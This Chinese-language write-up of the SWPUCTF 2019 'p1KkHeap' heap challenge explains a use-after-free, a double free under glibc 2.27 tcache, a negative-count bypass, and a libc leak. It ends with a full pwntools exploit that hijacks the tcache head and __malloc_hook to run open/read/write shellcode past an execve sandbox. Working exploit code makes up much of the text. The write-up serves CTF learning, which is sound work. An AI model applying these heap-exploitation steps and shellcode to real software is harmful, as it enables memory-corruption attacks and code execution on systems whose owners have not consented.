p1KkHeap
这是swpuctf2019的一题,让我们来详细分析一下
本题的知识点:tcache bin,unsorted bin,malloc hook
首先,我们检查一下程序的保护机制,发现保护全开
然后,我们用IDA分析一下
最大允许创建0x100的堆,并且最多有8个堆
漏洞点在这里,free后,只把大小置为0,而没有把堆指针置为0,存在UAF漏洞
本题,delete功能还有一个限制
delete功能只能用3次,超过会结束程序
然后是edit功能,根据数组里保存的大小读取字符,我们free后,那个大小设置为了0,因此就不能用原来的下标去edit释放的堆,而应该create后分配到原来的堆,再edit
show功能,可以泄露信息
程序还有一个限制
程序最多只能调用18次功能,超过后程序结束。
然后,我们看看给我们的libc版本为2.27
程序还使用了沙箱机制,可能禁用了某些系统调用
我们检测一下
execve被禁用,意味着我们不能调用system或onegadget来getshell
我们先做一个总结:
- Delete只能用3次
- 程序最多只能调用18次功能
- 程序中存在堆指针UAF,可造成double free
- Libc版本为2.27,存在tcache机制,且2.27版本的tcache不检查double free(更高版本有检查)
- Show功能可以用来泄露地址信息
- edit功能可以用来修改
- execve被禁用,我们应该构造shellcode或者ROP来直接读取flag
首先想想,我们该如何触发shellcode或ROP,在这,我们可以攻击__malloc_hook,将shellcode的地址写入到__malloc_hook,在这里,ROP显然很麻烦,因为ROP还要做栈转移,并且需要先前依靠一段shellcode来转移栈,如果供我们存放shellcode的地方空间很小,那么我们可以考虑写一段简短的shellcode,将栈转移,但是,如果我们有足够的空间来放shellcode,那么,直接把读取和输出flag的shellcode写到那个空间。
对于可写shellcode的空间很小,我还想到了另外一种方法,那就是写一段简短的shellcode,来调用int mprotect(const void *start, size_t len, int prot)函数,将某地址处属性修改为可执行,比如,我们可以把某个堆修改为可执行,那么就能在堆里布下shellcode。
好吧,说了这么多,其实这题,我们是有足够的空间来写shellcode的,所以就不用那么麻烦。
程序在0x66660000这个固定的地址处映射了0x1000大小的空间,并且属性为RWX,既可读写,也具有执行属性,并且地址固定为0x66660000,使得我们更加方便。
所以,我们决定把shellcode写到0x66660000处,然后攻击malloc_hook,在malloc_hook处写入0x66660000,这样,当我们再次malloc时,就会执行shellcode。
那么,现在开始攻击吧
首先,需要泄露一些地址,那么需要用到unsorted bin,但是,由于tcache的存在,对应的tcache bin满7个,接下来的堆块才会放入unsorted bin。满7个,就必须delete 7次,本题最多只能用3次,显然这个方案不可行。让我们来看看tcache 相关的源代码
- struct malloc_par
- {
- /* Tunable parameters */
- unsigned long trim_threshold;
- INTERNAL_SIZE_T top_pad;
- INTERNAL_SIZE_T mmap_threshold;
- INTERNAL_SIZE_T arena_test;
- INTERNAL_SIZE_T arena_max;
-
- /* Memory map support */
- int n_mmaps;
- int n_mmaps_max;
- int max_n_mmaps;
- /* the mmap_threshold is dynamic, until the user sets
- it manually, at which point we need to disable any
- dynamic behavior. */
- int no_dyn_threshold;
-
- /* Statistics */
- INTERNAL_SIZE_T mmapped_mem;
- INTERNAL_SIZE_T max_mmapped_mem;
-
- /* First address handed out by MORECORE/sbrk. */
- char *sbrk_base;
-
- #if USE_TCACHE
- /* Maximum number of buckets to use. */
- size_t tcache_bins;
- size_t tcache_max_bytes;
- /* Maximum number of chunks in each bucket. */
- size_t tcache_count;
- /* Maximum number of chunks to remove from the unsorted list, which
- aren't used to prefill the cache. */
- size_t tcache_unsorted_limit;
- #endif
- };
-
- static struct malloc_par mp_ =
- {
- .top_pad = DEFAULT_TOP_PAD,
- .n_mmaps_max = DEFAULT_MMAP_MAX,
- .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
- .trim_threshold = DEFAULT_TRIM_THRESHOLD,
- #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))
- .arena_test = NARENAS_FROM_NCORES (1)
- #if USE_TCACHE
- ,
- .tcache_count = TCACHE_FILL_COUNT,
- .tcache_bins = TCACHE_MAX_BINS,
- .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),
- .tcache_unsorted_limit = 0 /* No limit. */
- #endif
- };
注意,size_t tcache_bins;是无符号的
然后,看这里
- #if USE_TCACHE
- {
- size_t tc_idx = csize2tidx (size);
-
- if (tcache
- && tc_idx < mp_.tcache_bins
- && tcache->counts[tc_idx] < mp_.tcache_count)
- {
- tcache_put (p, tc_idx);
- return;
- }
- }
- #endif
其中counts是有符号数组
看似,好像不会出什么问题,我们来看看这样的C语言代码
- #include
-
- int main() {
- size_t a = 7;
- int b = -1;
- printf("b,b
- return 0;
- }
程序的执行结果
由此,我们知道了,当一个有符号数和一个无符号数进行比较时,有符号数会先转换成无符号数,然后再进行比较。
重点在这
那么,假设,我们double free同一个堆,那么在tcache bin里就会构成循环链表,此时count=2,然后,我们再create 3个一样大小的堆,那么count就变成了-1,此时,我们再delete一个unsorted bin范围的堆,这个堆就会放入unsorted bin,然后我们用show功能就能泄露出libc中的指针。
形成双向链表,那么我们create后,写入一个新地址,那么新地址就会链接到tcache bin链表的后面,我们看看
那么,我们再malloc 2次,就可以分配到aaaaaaaa处,但是注意,这种方法,我们只能攻击一次,也就是说,我们攻击了malloc_hook后,就攻击不了0x66660000,攻击了0x66660000就攻击不了malloc_hook了,二者不可兼得。因为不再是循环链表,并且delete只能用3次,不能再构建循环链表了。
解决方法是,我们用一次攻击,直接去攻击tcache bin的表头,那么,下次,我们就能直接修改表头,来决定下一次堆分配到哪个地方。
tcache bin的表头是在堆中的,一般在第一个堆的前面某次,我们用IDA找到
我们找到了表头指针的位置,它距离第一个堆的位置是- 0x188个字节。
因此,我们要攻击这里,修改表头指针,这样就能决定下一次分配的位置了。
那么,我们需要先泄露第一个堆的地址
- #chunk0
- create(0x100)
- #chunk1,用来挡住chunk0与top块,这样chunk0放入unsorted bin时不会发生合并,指针就会保留在chunk0中
- create(0x40)
-
- #chunk0和自己形成双向链表
- delete(0)
- delete(0)
- #泄露chunk0的堆地址
- show(0)
- sh.recvuntil('content: ')
- heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
-
- #得到tcache存放表头的地址
- tcache_head_addr = heap_addr - 0x188
得到了表头地址,那么我们就要开始攻击表头了
- #chunk2
- create(0x100)
- #将chunk0的fd指向表头指针处
- edit(2,p64(tcache_head_addr))
- #chunk3
- create(0x100)
- #chunk4,chunk4是tcache存放表头指针的位置,我们edit chunk4,就能修改tcache的表头
- #现在tcache 的count变成了-1,由于是无符号数,导致比较时>7成立
- create(0x100)
现在chunk4就是表头指针处的空间,我们edit chunk4,就能修改表头指针
- #chunk0进入unsorted bin
- delete(0)
- #泄露main_arena+96的地址
- show(0)
- sh.recvuntil('content: ')
-
- main_arena_96 = u64(sh.recv(6).ljust(8,'\x00'))
- malloc_hook_addr = (main_arena_96 & 0xFFFFFFFFFFFFFF00) + (malloc_hook_s & 0xFF)
- libc_base = malloc_hook_addr - malloc_hook_s
- open_addr = libc_base + open_s
- read_addr = libc_base + read_s
- write_addr = libc_base + write_s
我们先来攻击0x66660000,写入shellcode
- #将表头指向0x66660000,这样我们就能分配到这里了
- edit(4,p64(0x66660000))
-
- #'flag.txt'
- shellcode = asm('mov rax,0x7478742E67616C66')
- shellcode += asm('push 0x0')
- shellcode += asm('push rax')
- #rsi = 0
- shellcode += asm('mov rsi,0')
- shellcode += asm('mov rdi,rsp')
- #call open
- shellcode += asm('mov rax,' + hex(open_addr))
- shellcode += asm('call rax')
- #fd
- shellcode += asm('mov rdi,rax')
- #buf
- shellcode += asm('mov rsi,rsp')
- #len
- shellcode += asm('mov rdx,0x30')
- #call read
- shellcode += asm('mov rax,' + hex(read_addr))
- shellcode += asm('call rax')
- #fd
- shellcode += asm('mov rdi,1')
- ##buf
- shellcode += asm('mov rsi,rsp')
- #len
- shellcode += asm('mov rdx,0x30')
- #call write
- shellcode += asm('mov rax,' + hex(write_addr))
- shellcode += asm('call rax')
-
- #chunk5分配到了0x66660000
- create(0x100)
- #写入shellcode到0x66660000
- edit(5,shellcode)
接下来,我们攻击malloc_hook,然后触发malloc_hook
- #将malloc_hook设置为tcache bin表头
- edit(4,p64(malloc_hook_addr))
- #chunk6分配到malloc_hook处
- create(0x100)
-
- #写malloc_hook
- edit(6,p64(0x66660000))
-
- #触发malloc hook去执行我们在0x66660000处布下的shellcode
- create(0x1)
最终,我们得到了flag
综上,我们的exp脚本如下
- #coding:utf8
- #思想:攻击tcache表头
- from pwn import *
-
- #sh = process('./p1KkHeap')
- context(arch='amd64',os='linux')
- sh = remote('39.98.64.24',9091)
- #libc_path = '/lib/x86_64-linux-gnu/libc-2.27.so'
- libc_path = './libc.so.6'
- libc = ELF(libc_path)
- malloc_hook_s = libc.symbols['__malloc_hook']
- open_s = libc.sym['open']
- read_s = libc.sym['read']
- write_s = libc.sym['write']
-
- def create(size):
- sh.sendlineafter('Your Choice:','1')
- sh.sendlineafter('size:',str(size))
-
- def show(index):
- sh.sendlineafter('Your Choice:','2')
- sh.sendlineafter('id:',str(index))
-
- def edit(index,content):
- sh.sendlineafter('Your Choice:','3')
- sh.sendlineafter('id:',str(index))
- sh.sendafter('content:',content)
-
- def delete(index):
- sh.sendlineafter('Your Choice:','4')
- sh.sendlineafter('id:',str(index))
-
- #chunk0
- create(0x100)
- #chunk1,用来挡住chunk0与top块,这样chunk0放入unsorted bin时不会发生合并,指针就会保留在chunk0中
- create(0x40)
-
- #chunk0和自己形成双向链表
- delete(0)
- delete(0)
- #泄露chunk0的堆地址
- show(0)
- sh.recvuntil('content: ')
- heap_addr = u64(sh.recv(6).ljust(8,'\x00')) - 0x10
-
- #得到tcache存放表头的地址
- tcache_head_addr = heap_addr - 0x188
-
- #chunk2
- create(0x100)
- #将chunk0的fd指向表头指针处
- edit(2,p64(tcache_head_addr))
- #chunk3
- create(0x100)
- #chunk4,chunk4是tcache存放表头指针的位置,我们edit chunk4,就能修改tcache的表头
- #现在tcache 的count变成了-1,由于是无符号数,导致比较时>7成立
- create(0x100)
- #chunk0进入unsorted bin
- delete(0)
- #泄露main_arena+96的地址
- show(0)
- sh.recvuntil('content: ')
-
- main_arena_96 = u64(sh.recv(6).ljust(8,'\x00'))
- malloc_hook_addr = (main_arena_96 & 0xFFFFFFFFFFFFFF00) + (malloc_hook_s & 0xFF)
- libc_base = malloc_hook_addr - malloc_hook_s
- open_addr = libc_base + open_s
- read_addr = libc_base + read_s
- write_addr = libc_base + write_s
-
-
- #将表头指向0x66660000,这样我们就能分配到这里了
- edit(4,p64(0x66660000))
-
- #'flag.txt'
- shellcode = asm('mov rax,0x7478742E67616C66')
- shellcode += asm('push 0x0')
- shellcode += asm('push rax')
- #rsi = 0
- shellcode += asm('mov rsi,0')
- shellcode += asm('mov rdi,rsp')
- #call open
- shellcode += asm('mov rax,' + hex(open_addr))
- shellcode += asm('call rax')
- #fd
- shellcode += asm('mov rdi,rax')
- #buf
- shellcode += asm('mov rsi,rsp')
- #len
- shellcode += asm('mov rdx,0x30')
- #call read
- shellcode += asm('mov rax,' + hex(read_addr))
- shellcode += asm('call rax')
- #fd
- shellcode += asm('mov rdi,1')
- ##buf
- shellcode += asm('mov rsi,rsp')
- #len
- shellcode += asm('mov rdx,0x30')
- #call write
- shellcode += asm('mov rax,' + hex(write_addr))
- shellcode += asm('call rax')
-
- #chunk5分配到了0x66660000
- create(0x100)
- #写入shellcode到0x66660000
- edit(5,shellcode)
-
- print 'libc_base=',hex(libc_base)
- print 'malloc_hook_addr=',hex(malloc_hook_addr)
-
-
- #将malloc_hook设置为tcache bin表头
- edit(4,p64(malloc_hook_addr))
- #chunk6分配到malloc_hook处
- create(0x100)
-
- #写malloc_hook
- edit(6,p64(0x66660000))
-
- #触发malloc hook去执行我们在0x66660000处布下的shellcode
- create(0x1)
-
- sh.interactive()
本题,我学到了绕过tcache bin的新方法,就是使得tcache bin的count为负数,还有就是攻击表头,在这次碰巧学到了,这是以前我不知道的。